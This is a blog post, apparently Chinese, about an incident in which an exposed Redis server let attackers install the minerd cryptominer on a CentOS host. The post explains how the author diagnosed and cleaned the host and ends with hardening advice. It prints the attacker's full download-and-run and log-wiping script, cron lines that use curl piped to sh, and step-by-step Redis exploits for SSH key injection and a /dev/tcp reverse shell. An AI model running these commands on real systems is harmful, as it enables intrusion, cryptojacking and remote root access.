CentOS 服务器因 Redis 遭遇挖矿程序 minerd 入侵事件记录

事件经过:

周六早上监控服务器发送报警,连续多次无法建立与一台应用服务器的连接。

情况紧急,登录时发现该应用服务器并没有崩溃。
执行:
ps -ef | grep nginx
结果显示相关服务还健在。
执行:
uptime
发现,服务器的负载非常高。
执行:
top
发现,有一个叫做minerd的进程占用了几乎所有cpu资源。
百度“centos minerd”,搜索结果显示minerd是一个臭名昭著的比特币挖矿程序,说明服务器已经被入侵,沦为肉鸡了。
执行:
pkill -9 minerd
杀死了该进程。


过了一会儿,需要检查该进程是否重新启动。
再次执行:
top
发现minerd进程又出现了,不愧是病毒程序,猜测有可能有定时调度在执行挖矿程序。
执行:
crontab -l
列出计划任务,发现计划任务列表竟然为空,猜测无效,有点慌。
执行:
cd / && find -name "minerd"
找到了病毒程序所在位置为:/root/minerd
执行:
chmod a-x /root/minerd
移除该程序可执行权限,再次杀掉minerd进程。
过了一会儿,再次检查该进程是否重新启动发现,进程再次出现。
执行:
cd /root && ll -a
显示/root/minerd文件已经恢复了可执行权限。
执行:
rm -f /root/minerd
删除病毒程序,再次杀掉minerd进程。
过了一会儿,再次检查该进程是否重新启动发现,TMD进程再次出现,表现得很坚强。


回想起该应用服务器的计划任务列表,不应该为空才对,因为至少有数据库备份等几个定时任务。
多次执行:
crontab -l
结果一会儿显示为空,一会儿显示乱码,由于乱码数据相当多,导致疯狂刷屏。由此推测,crontab计划任务被持续动态修改,即minerd还有同伙。
执行:
cd /var/log && cat cron | grep .sh
查看crontab日志文件,结果显示:
Jul 12 22:53:34 d6 CROND[9332]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 22:59:44 d6 CROND[9365]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:01:01 d6 run-parts(/etc/cron.hourly)[9405]: finished 0anacron
Jul 12 23:01:01 d6 run-parts(/etc/cron.hourly)[9411]: finished 0yum-hourly.cron
Jul 12 23:05:48 d6 CROND[9417]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:11:45 d6 CROND[9450]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:17:43 d6 CROND[9483]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:23:46 d6 CROND[9516]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:29:45 d6 CROND[9550]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:35:46 d6 CROND[9583]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:41:43 d6 CROND[9616]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:47:44 d6 CROND[9650]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:53:43 d6 CROND[9683]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:59:50 d6 CROND[9717]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 13 00:01:01 d6 run-parts(/etc/cron.hourly)[9759]: finished 0anacron
Jul 13 00:01:01 d6 run-parts(/etc/cron.hourly)[9765]: finished 0yum-hourly.cron
Jul 13 00:05:48 d6 CROND[9772]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 13 00:11:46 d6 CROND[9805]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
坏人终于露出了马脚:定时任务每几分钟会从远程服务器下载一个test11.sh的脚本文件并执行。
执行:
wget http://67.209.185.118:8220/test11.sh && cat test11.sh
下载该脚本并查看其内容,其内容如下:
#!/bin/bash
#捕获minerd进程并杀掉
(ps auxf|grep -v grep|grep mine |awk '{print $2}'|xargs kill -9;
#清空计划任务,难怪首次查看计划任务时计划任务为空
crontab -r;
#又杀了一批进程,不知要作甚?
pkill -9 minerd;
pkill -9 i586;
pkill -9 gddr;
#清空系统登录登出日志
echo > /var/log/wtmp;
#清空命令执行记录
history -c;
#切到用户目录
cd ~;
#下载挖矿程序并写入minerd文件
curl -L http://67.209.185.118:8220/minerd -o minerd;
#为minerd文件添加执行权限
chmod +x minerd;
#执行挖矿程序
setsid /root/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)

从脚本内容可以看出,敌人是非常阴险狡诈的,它每次执行挖矿程序前都从远程服务器下载并赋予执行权限,所以我删除病毒程序或者修改其权限都没有效果;该脚本还清除了命令执行记录和系统登录记录,所以很难找到系统被操作的痕迹。


执行:
cd /etc && cat crontab
查看计划任务,计划任务显示为空。
执行:
cd /var/spool/cron && cat root
查看用户计划任务,结果打印了一大堆乱码,狂刷屏,和上文执行:crontab -l时情况一样。
执行:
cd /var/spool/cron && ll -ah
结果显示root文件900MB以上,这就难怪狂刷屏了。该root文件是一个二进制文件,由此产生了疑问,crontab难道还能解析二进制文件来执行不成,root文件这么大,里边究竟是些什么内容。


执行:
echo > /var/spool/cron/root
清空root文件内容,再次执行:crontab -l发现计划任务列表已被清除。
不断执行:
cd /var/spool/cron && ll -ah
观察发现一会儿功夫,root文件又从0MB恢复到了900多MB。结论和上面一样,有程序(minerd同伙)在动态修改root文件的内容,即crontab计划任务。
时间紧急,执行:
ps -ef
大概看了一下所有的进程,没有发现同伙。
执行:
systemctl stop crond
关闭系统定时调度服务,再次杀掉minerd进程,观察一阵子,minerd进程没有再恢复。
至此,应用服务器恢复了可用,忙其他事情先...


正片继续,查看了网上关于minerd病毒的情况,中招的人很多,黑客利用redis在服务器注入文件,进而控制了服务器。
网上说黑客会在服务器上写入ssh的密匙文件,从而实现免密码登录你的服务器,非常可怕。
执行:
cat /etc/ssh/sshd_config
sshd_config文件中有如下配置:
AuthorizedKeysFile .ssh/authorized_keys
ssh的配置文件并没有被修改。
执行:
cd /etc/ssh && ll -a
查看sshd_config文件的修改日期,确认其并没有被修改。
执行:
cd /root/.ssh && ll
结果显示目录下也只有authorized_keys一个文件,修改日期也正常。
执行:
cat /root/.ssh/authorized_keys
文件内容确实没有被修改。
以上结果说明:我的情况和网络上的并不一样,黑客并没有在我的服务器搞无密码登录。


执行:
ps -ef
列出所有进程,对比另一台服务器的进程,一一排除,没有发现异常进程,亚历山大...
多次执行:
cd /var/spool/cron && ll -ah
发现该目录下会出现一个temp-xxx.rdb的文件,几秒后消失,然后又出现,又消失。
rdb文件是redis的数据存储文件。
执行:
cd /var/spool/cron/ && head root
显示:
REDIS0006þ...
可以确认用户计划任务配置文件/var/spool/cron/root已经变成了一个redis数据文件。
执行:
cat /var/spool/cron/root | grep sh
结果显示:
Binary file (standard input) matches
由于root文件是一个二进制文件,grep无效,修改命令重新执行:
cat /var/spool/cron/root | grep -a sh
结果显示:

*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh


果然,redis数据文件中隐藏了一条crontab,与crontab日志文件/var/log/cron中显示的一致。
由此可知,并不是crontab能解析二进制文件,而是crontab对配置文件的冗余度太高,它能在一团乱码中提取出有效的配置,黑客正是利用了这一点。
执行:
cat /home/redis/conf/redis.conf
可以发现redis配置并没有被修改,我的redis数据文件位于/home/redis/data/redis.rdb,超过900MB,而/var/spool/cron/root文件正好也是900多MB。
说明我的redis数据存储位置已经被重定向到了crontab的配置文件处,幸好黑客并没有flushall我的redis数据。


接下来我要把黑客写入redis的数据找出来。
执行:
cd /home/redis/bin
./redis-cli -p 9003

连接上了redis server,redis中key的数目超过了千万,使用:keys *命令输出太多,但由于这些key都是数字开头的,因此我们先假设黑客的key是字母开头的,遍历一下:
127.0.0.1:9003> keys a*
(empty list or set)
127.0.0.1:9003> keys b*
(empty list or set)
127.0.0.1:9003> keys c*
(empty list or set)
127.0.0.1:9003> keys d*
(empty list or set)
127.0.0.1:9003> keys e*
(empty list or set)
127.0.0.1:9003> keys f*
(empty list or set)
127.0.0.1:9003> keys g*
1) "gmgjhofcik"
127.0.0.1:9003> type gmgjhofcik
string
127.0.0.1:9003> get gmgjhofcik
"\n\n*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh\n\n"
127.0.0.1:9003> exit

现在我找到了黑客的key值为gmgjhofcik,而其value就是一条crontab。
执行:
./redis-cli -p 9003 keys "g*" | xargs ./redis-cli -p 9003 del
./redis-cli -p 9003 shutdown

清除黑客的数据,并关闭redis。
执行:
cp /var/spool/cron/root /home/redis/data/redis.rdb
./redis-server ../conf/redis.conf

将redis数据文件覆盖回来,重启redis。
至此,挖矿病毒消除。


已经可以知晓黑客入侵的整个流程如下:

1. 遍历他人的服务器端口,尝试使用redis-cli -h [IP] -p [port]进行连接,一旦服务器的redis服务暴露在公网,缺少认证,就能连接成功。
2. redis-cli连接成功之后,执行以下redis命令将用户的redis数据存储位置重定向到crontab的配置文件处:
config set dir /var/spool/cron/ 
config set dbfilename root 

save
之后,redis会每隔一段时间就将数据dump到/var/spool/cron/root,因此我之前删除root文件又会恢复,因为redis服务一直在操作该文件,redis即是minerd的同伙。
3. 执行以下命令在redis中写入crontab配置:
echo -e "\n\n*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh\n\n" | redis-cli -h [IP] -p [PORT] -x set "gmgjhofcik"
完毕!


在我的案例中,虽然/var/spool/cron/root文件是一个900多MB的文件,以文本方式查看一片混乱。
但由于crontab对配置文件的冗余度非常高,且redis的rdb文件中key、value等字符串信息仍然是文本形式的,因此crontab能从/var/spool/cron/root文件中读取出有效的配置。
之后crontab会定时下载并执行test11.sh,而test11.sh则会下载minerd并执行。另外test11.sh还包含擦除入侵痕迹等操作,增加了问题排查的难道。
由于test11.sh是定时从远程服务器下载执行的,黑客可以随时修改test11.sh的内容为所欲为,把用户的服务器按在地上摩擦。 


redis攻击方式二,通过写入SSH公钥实现免密码SSH登录:

首先在本地生成免密码的公私钥文件:
ssh-keygen -t rsa
进入交互:
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): my_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in my_rsa.
Your public key has been saved in my_rsa.pub.
The key fingerprint is:
4c:44:a3:71:a2:0b:79:8b:1e:8c:77:04:74:ec:9a:aa root@localhost.localdomain
The key's randomart image is:
+--[ RSA 2048]----+
| .o.. o.=        |
|   +.. * .       |
|  o.+ . .        |
| o =.o o         |
|. =o+   S        |
| ooo             |
| ..              |
|.                |
|E                |
+-----------------+


生成了my_rsa和my_rsa.pub两个文件。
然后将公钥写入temp文件:
(echo -e "\n\n"; cat my_rsa.pub; echo -e "\n\n") > temp
再连接Redis,清空原有数据并写入公匙数据:
redis-cli -h [IP] -p [PORT] flushall
cat temp | redis-cli -h [IP] -p [PORT] -x set crackit

重定向redis数据文件至ssh密匙配置文件处:
redis-cli -h [IP] -p [PORT]
127.0.0.1:9003> config set dir /root/.ssh/
OK
127.0.0.1:9003> config get dir
1) "dir"
2) "/root/.ssh"
127.0.0.1:9003> config set dbfilename "authorized_keys"
OK
127.0.0.1:9003> save
OK
127.0.0.1:9003> exit


这样就可以将自己的公钥写入被攻击服务器/root/.ssh文件夹的authotrized_keys文件里。
然后执行:
ssh –i id_rsa root@[IP]
即可远程利用自己的私钥免密码登录该服务器。


redis攻击方式三,通过cron反弹shell,以下摘抄自网络:

猪猪侠发在乌云的思路
echo -e “nn*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1nn”|redis-cli -h www.am0s.com -p 13000 -x set 1
本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。
redis-cli -h www.am0s.com -p 13000
#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron
#指定本地数据库文件名
config set dbfilename root
#同步保存数据到磁盘
Save
然后本地nc监听
Nc-lvvp 888即可得到root权限的shell


防范建议:

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中,因为让不受信任的客户接触到Redis是非常危险的”。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为,99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性。
虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。


1. 加强网络安全意识,不要掉以轻心,网络繁华的表面之下黑暗势力也是动作频频。我的每一台服务器每天遭遇的ssh密码破解次数都是很可观的;由于本周在提取redis数据时偷懒,进行了远程操作,暂时关闭了服务器防火墙,最终导致此次事故的发生。
2. Redis设置优化:对Redis加入认证,对Redis进行IP绑定,不以root启用Redis,不使用默认端口6379,可以增加Redis的安全性。
3. 开启防火墙:iptables 做好IP、PORT规则,区分信任源,只对公网开放必要的口子。本例中可以直接关闭对挖矿服务器的访问 iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP。
4. SSH设置优化:不要使用SSH默认端口22登录,可以关闭root登录,可以关闭密码登录,改用密匙登录。
5. 权限管控:尽量不要使用root权限运行服务程序。
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值